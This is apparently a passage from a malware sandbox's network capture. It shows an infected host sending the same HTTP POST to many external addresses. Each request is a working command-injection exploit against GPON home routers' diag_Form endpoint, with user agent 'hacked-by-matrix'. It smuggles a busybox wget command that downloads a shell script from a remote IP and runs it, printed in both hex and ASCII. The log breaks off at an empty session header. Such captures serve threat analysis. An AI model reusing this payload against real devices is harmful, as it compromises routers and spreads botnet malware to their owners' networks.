Mar 21, 2024 05:22:04.184185982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.14	39274	109.28.249.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184190035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.14	32928	118.149.71.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184226036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.14	60712	212.190.67.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184266090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.14	45756	94.27.90.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184294939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.14	32846	2.148.100.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184330940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.14	58246	94.148.165.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184372902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.14	43490	42.60.191.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184417009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.14	45898	79.165.204.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184437037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.14	37362	79.88.61.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184504032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.14	40044	94.255.222.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184523106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.14	36690	42.129.232.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184556007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.14	48922	2.127.128.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184582949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.14	57152	109.116.176.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184629917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.14	45896	5.136.106.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184648991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.14	35120	94.33.166.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184701920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.14	37450	178.227.87.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184706926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.14	34638	210.16.194.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184724092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.14	53088	94.79.233.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184792042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.14	42880	2.226.39.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184813023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.14	56962	5.172.158.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184848070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.14	44028	94.218.163.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184876919 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.14	45404	2.162.129.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184935093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.14	49652	118.3.137.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184937954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.14	54230	2.220.72.48	443

Timestamp	Bytes transferred	Direction	Data
